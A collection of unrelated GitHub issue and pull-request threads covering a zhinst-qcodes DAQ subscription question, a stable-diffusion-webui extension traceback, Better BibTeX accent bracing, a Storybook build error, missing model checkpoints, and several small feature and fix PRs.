with zhinst-toolkit I can subscribe to nodes like this:

session = Session("localhost")
device = session.connect_device("devXXXX")
daq = session.modules.daq
daq.subscribe(device.demods[0].sample.x)
daq.subscribe(device.demods[0].sample.y)

With zhinst-qcodes however, daq.subscribe takes a ZIParameter, which I cannot seem to get:
session = ZISession("localhost")
device = session.connect_device("devXXXX")
daq = session.modules.daq

daq.subscribe(device.demods[0].sample.x)
# AttributeError: 'ZIParameter' object has no attribute 'x'

daq.subscribe(device.demods[0].sample.tk_node.x)
# Tries to subscribe to /devXXXX/demods/0/sample.x.tk_node, which ends up not working

daq._tk_object.subscribe(device.demods[0].sample.tk_node.x)
# This works

What is the preferred way of subscribing to those nodes? What is with .avg and the like?

What is the reason, that the daq module does not have execute() and read() functions? Is there a more elegant way than calling daq._tk_object.execute() and daq._tk_object.read()?

Thank you and best regards

Currently our QCoDeS driver does not have a adapted version like the zhinst-toolkit does. Meaning it just is just a ZIBaseModule that works for all LabOne modules. That is why your observations are correct both in terms of subscribing and of the execute and read function.
But technically nothing speaks against implementing it. One challenge would be to integrate the signal selection (.x.avg...) but the ZIParameter class could handle that. The only reason the QCoDeS driver does not support this at the moment is because no one asked for it 😇 and the driver is still in its developing stage.
For now you have two options falling back to toolkit like you describe or use the underlying ziPython module directly:
from zhinst.qcodes import MFLI
device = MFLI("devXXXX", "localhost")
session = device.session
# or
# session = ZISession("localhost")
# device = session.connect_device("devXXXX")

daq = session.modules.daq.raw_module
daq.subscribe(device.demods[0].sample.zi_node + ".x")
daq.execute()


TypeError: 'NoneType' object is not subscriptable

Traceback (most recent call last):
File "S:\Games\stable-diffusion-webui\modules\ui.py", line 188, in f
res = list(func(*args, **kwargs))
File "S:\Games\stable-diffusion-webui\webui.py", line 57, in f
res = func(*args, **kwargs)
File "S:\Games\stable-diffusion-webui\modules\txt2img.py", line 46, in txt2img
processed = modules.scripts.scripts_txt2img.run(p, *args)
File "S:\Games\stable-diffusion-webui\modules\scripts.py", line 317, in run
processed = script.run(p, *script_args)
File "S:\Games\stable-diffusion-webui\extensions\stable-diffusion-webui-prompt-travel\scripts\prompt_travel.py", line 537, in run
if   mode == 'linear' : images, info = self.run_linear (p, pos_prompts, neg_prompts, steps, show_debug)
File "S:\Games\stable-diffusion-webui\extensions\stable-diffusion-webui-prompt-travel\scripts\prompt_travel.py", line 595, in run_linear
from_pos_hidden, from_neg_hidden, prompts, seeds, subseeds = process_images_prompt_to_cond(p)
File "S:\Games\stable-diffusion-webui\extensions\stable-diffusion-webui-prompt-travel\scripts\prompt_travel.py", line 69, in process_images_prompt_to_cond
file.write(processed.infotext(p, 0))
File "S:\Games\stable-diffusion-webui\modules\processing.py", line 286, in infotext
return create_infotext(p, self.all_prompts, self.all_seeds, self.all_subseeds, comments=[], position_in_batch=index % self.batch_size, iteration=index // self.batch_size)
File "S:\Games\stable-diffusion-webui\modules\processing.py", line 417, in create_infotext
negative_prompt_text = "\nNegative prompt: " + p.all_negative_prompts[0] if  p.all_negative_prompts[0] else ""
TypeError: 'NoneType' object is not subscriptable
Getting this error when trying to use prompt travel. Think latest automatic update changed something. Was working fine earlier.

It seems that webui updated its behaviour, the former version is
negative_prompt_text = "\nNegative prompt: " + p.negative_prompt if p.negative_prompt else ""
I'll fix this soon~

Nope, just now I pulled the latest webui and found nothing changed. Is this line
File "S:\Games\stable-diffusion-webui\modules\processing.py", line 417, in create_infotext
negative_prompt_text = "\nNegative prompt: " + p.all_negative_prompts[0] if p.all_negative_prompts[0] else ""

modified by you or your extensions?
The original one should be negative_prompt_text = "\nNegative prompt: " + p.negative_prompt if p.negative_prompt else "".
Actually in order to hack into the StableDiffusionProcessing, current implementation of this script copied a lot of codes from webui's repo. Hence once webui changed its related behaviour, I have to manually backport it to this repo. (I track the master branch, so if you use or develop other core branch, it might not work...)

Ok, finally I found I was working on another remote origin, so get pulled nothing...
It's indeed due to the behaviour change of webui, just now I've pushed a work around tagged v1.2-fix1, it temporarily works for me, and a total code refactorizing is on the way 😀

Yeah the fix worked. Updated the extension and can prompt travel again. Thanks.


BibTeX export: Output non-ascii characters wrapped in curly braces: {\AA} instead of \AA{}

BBT version 1.6.89, Firefox 50.1.0, Fedora Linux 25
When exporting from Zotero using the "Better BibTeX" exporter, non-ascii characters are converted to TeX codes, f.ex "Å" is converted to "\AA" and "æ" to "\ae". But these characters are not wrapped in curly braces, so bibtex/bibtex8 don't parse them properly. This is an issue when generating initials from first names.
Example: Exported entry in .bib file:
@article{skjaeveland2011,
  title = {On the Relationship between Flux Transfer Events, Temperature Enhancements and Ion Upflow Events in the Cusp Ionosphere},
  doi = {10.1029/2011JA016480},
  timestamp = {2016-05-02T13:20:15Z},
  urldate = {2011-08-23},
  journal = {J. Geophys. Res.},
  author = {Skj\ae{}veland, \AA{}smund and Moen, J\o{}ran Idar and Carlson, Herbert C.},
  year = {2011},
  keywords = {2407 Auroral ionosphere,2475 Polar cap ionosphere,2704 Auroral phenomena,2706 Cusp,anisotropy,Cusp,EISCAT,heating,upflow},
  pages = {A10305}
}

becomes this in .bbl file:

\bibitem[{\textit{Skj\ae{}veland et~al.}(2011)\textit{Skj\ae{}veland, Moen, and
  Carlson}}]{skjaeveland2011}
Skj\ae{}veland, A., J.~I. Moen, and H.~C. Carlson (2011), On the relationship
  between flux transfer events, temperature enhancements and ion upflow events
  in the cusp ionosphere, \textit{J. Geophys. Res.}, p. A10305,
  \doi{10.1029/2011JA016480}.

i.e. "\AA{}smund" is truncated to "A" and not to "\AA{}". If I manually edit the .bib file to change the author line:
  author = {Skj\ae{}veland, {\AA}smund and Moen, J\o{}ran Idar and Carlson, Herbert C.},
the .bbl file has the correct initial:
Skj\ae{}veland, {\AA}., J.~I. Moen, and H.~C. Carlson (2011), On the
and the final bibliography looks correct.
(\ae{} and \o{} should probably also be wrapped in curly braces, but it doesn't cause any issues for me.)
References:
http://tex.stackexchange.com/questions/57743/how-to-write-ä-and-other-umlauts-and-accented-letters-in-bibliography
http://tex.stackexchange.com/questions/62522/capital-Ø-scandinavian-letter-in-bibtex

@skjaeve a quick workaround would be to add a end of guarded area character just after the Å which should cause BBT to output it as Skj\ae{}veland, {\relax \AA{}}smund which I think will force the proper initial handling.
Are you using Better BibTeX or Better BibLaTeX BTW? Not that it will make much difference unless you're on a very new version of biblatex (biber 2.7+/biblatex 3.5+). If you are, you can enable extended name format in the settings, add the end of guarded area marker, and that should take care of the initials problem.
@njbart, opinions? That A is deduced to be the initial from \AA{}smund sounds like a biblatex bug to me.

This is the "Better BibTeX" exporter. It's not an issue with the "Better BibLaTeX" exporter, which exports without converting characters and understands Unicode. Unfortunately, switching to BibLaTeX is not an option as the journal wants BibTeX format. The "extended name format" seems to make no difference for BibTeX.
I'm using biblatex 3.7/biber 2.6 from TeXLive 2016.
(I've corrected confusion of bibtex/biblatex in the text.)

@njbart sorry to bother you again but I really can't move forward on this without your input.

So this is about bibtex, not biblatex? With all due caveats (I'm not using bibtex myself any longer, and I haven't done any testing at all): My guess is that accented characters do need to be wrapped in braces for bibtex to handle them properly.
See Patashnik, Oren. 1988. ‘BibTeXing’. http://mirrors.ctan.org/biblio/bibtex/base/btxdoc.pdf, p. 3 f.:

BibTEX now handles accented characters. For example if you have an entry with the two fields

     author = "Kurt G{\"o}del",
     year = 1931,

and if you’re using the alpha bibliography style, then BibTEX will construct the label [Göd31] for this entry, which is what you’d want. To get this feature to work you must place the entire accented character in braces; in this case either {\"o} or {\"{o}} will do. Furthermore these braces must not themselves be enclosed in braces (other than the ones that might delimit the entire field or the entire entry); and there must be a backslash as the very first character inside the braces. Thus neither {G{\"{o}}del} nor {G\"{o}del} will work for this example.

OK, thanks. Technically it's not a big change to switch from \"o{} to {\"o} (it's just a precedence rule order change), but it messes with the post-translation cleanup algorithm.
BBT works on a char-by-char basis, so Gææst is first translated to G\ae{}\ae{}st, and then the post-translation cleanup changes every {}<not a letter or a number> to <not a letter or a number> yielding the cleaner G\ae\ae{}st.
Changing the precedence rules to favor outer braces would give me G{\ae}{\ae}st and I can't safely change }{<not a letter or a number> to <not a letter or a number>. So both bibtex and biblatex output would get a lot more verbose, as they use the same translation tables.
Trying to find a way I could still safely do cleanup, but I don't currently see it.

Can you try https://github.com/retorquere/zotero-better-bibtex/releases/download/builds/zotero-better-bibtex-1.6.91-br620-3484.xpi? It should do what you want at minimal damage to the cleanup process.

This works as expected, problem appears to be solved from my point of view,

OK, super. I have tests running on the merge but I don't see why they shouldn't just pass (famous last words). What this change does is that it uses {\...} for accented characters (for which I user the rule character code is 0x00C0 .. 0x024F but not 0x00D7 or 0x00F7, and the \...{} form for anything else.


fix: AccordionArea typo in docs

Fixes https://app.circleci.com/pipelines/github/Codecademy/client-modules/6375/workflows/1746b445-515b-4fdc-9284-a5a9d89d06f2/jobs/37030/parallel-runs/0/steps/0-108:
WARN Module build failed (from ./node_modules/babel-loader/lib/index.js):
WARN SyntaxError: /home/circleci/repo/packages/styleguide/stories/Core/Molecules/Accordion.stories.mdx: Identifier 'accordion' has already been declared (86:13)
WARN
WARN   84 | accordion.parameters = { storySource: { source: '<Accordion expanded={expanded} size={select(\'Size\', [\'normal\', \'large\'], undefined)} theme={select(\'Theme\', [\'blue\', \'plain\', \'yellow\'], undefined)} top=\"Click me!\">\n      Hidden treasure!\n    </Accordion>' } };
WARN   85 |
WARN > 86 | export const accordion = (() => {
WARN      |              ^
WARN   87 |   const expanded = boolean('Expanded');
WARN   88 |   return <AccordionArea expanded={expanded} top={<AccordionButton expanded={expanded}>Click me!</AccordionButton>}>
WARN   89 |           Hidden treasure!

🚀 Styleguide deploy preview ready!https://5f3b0ab78012bd00ba05ea30--gamut-preview.netlify.appDeploy Logs

🚀 Styleguide deploy preview ready!https://5f3be3cb9001356735c8335b--gamut-preview.netlify.appDeploy Logs


Feat: Improved Login page ui #774

Describe the feature
I have improve the login page both in signIn and signup with Animation , I have already open this PR , Kindly verify it once and merge with main [branch.]
https://github.com/Its-Aman-Yadav/Community-Site/assets/114290748/42aafce1-cef9-4695-8b78-4e94fd7e5b6e
Add ScreenShots
BEFORE

AFTER

Record

[x] I agree to follow this project's Code of Conduct
[X] I'm a GSSOC'24 contributor
[X] I want to work on this issue

@Its-Aman-Yadav please check this also , and review it please

@Kalivarapubindusree  please ckeck this out

Can you please mention the pr number here


Adding Categories?

Love the list, Source Generators are really neat.
But, what about creating categories?
There are about a dozen or so Dependency Injection Framworks in the list, and it would be really nice to have them in one place.
I could make a PR for that if there is interest in the idea.

I tried my best: I had to look into a lot of ReadMe's to better understand the intention of each project, but I think it was worth the effort.
I hope you find the categories clear and useful, it was sometimes a bit tricky, some projects could be in different categories.
Some things to note:

The TOC is done by hand. But I think it is a good thing to have an overview, but it might be too difficult to maintain.
The order of the catergories is not really well defined, it just grew like that.
Each categorie is alphabetically sorted again


Unable to Download checkpoints from Model_Zoo.md

Warm Greetings!
While trying different model in the tutorial, I am not able to download any of the checkpoints from Model_Zoo.md. Whenever I click the download link I am getting this error message:
This XML file does not appear to have any style information associated with it. The document tree is shown below.

NoSuchBucket
The specified bucket does not exist
open-mmlab
4G8T657KQ880KV4C
c/h4uDcZ/9+O06KtoOlM+KJ/kAdlhfMwXbd1V0ZVwGaEZ1hjpv2B/uz+XXHS8KvGfcfNveDi40E=

Any other way of getting the checkpoints? Would be very helpful to run different models.

Warm Greetings!
While trying different model in the tutorial, I am not able to download any of the checkpoints from Model_Zoo.md. Whenever I click the download link I am getting this error message:
This XML file does not appear to have any style information associated with it. The document tree is shown below.
NoSuchBucket
The specified bucket does not exist
open-mmlab
4G8T657KQ880KV4C
c/h4uDcZ/9+O06KtoOlM+KJ/kAdlhfMwXbd1V0ZVwGaEZ1hjpv2B/uz+XXHS8KvGfcfNveDi40E=
Any other way of getting the checkpoints? Would be very helpful to run different models.

I also encountered the same problem. Did you solve it?

Still have the same problem.

Same here

Any update on this. Its still the same.

I have having same issue. I think they have removed all the models that why its not working.

now 12 oct still have the same issue

new year, same issue

Same issue, any news ?


[Frontend][Tensorflow]Improve TF Parser to keep output nodes for saved_model

This PR fixes two things for some tf models in the format of saved model:

Make fill not depend on node attr _output_shapes since we can always get that by trying to _infer_value. Some saved model will generate unknown rank shape for this attr which is actually not true.
Add output nodes as protected_nodes when parsing saved models so that they won't be removed in removing training nodes process.

@yongwww @lixiaoquan @zhiics

LGTM


feat(table): [B2BDS-195] Add alignments to table header with sorting

An additional thought - we need to add visual regression tests for this too. Maybe just with the right alignment as the left alignment is already covered by the main story.


Rerost/support only two go version

Since the current version of Go we are using is outdated, I propose that we support the latest two major releases in accordance with Go's official release policy (https://go.dev/doc/devel/release#policy).

@izumin5210 Could you please review this PR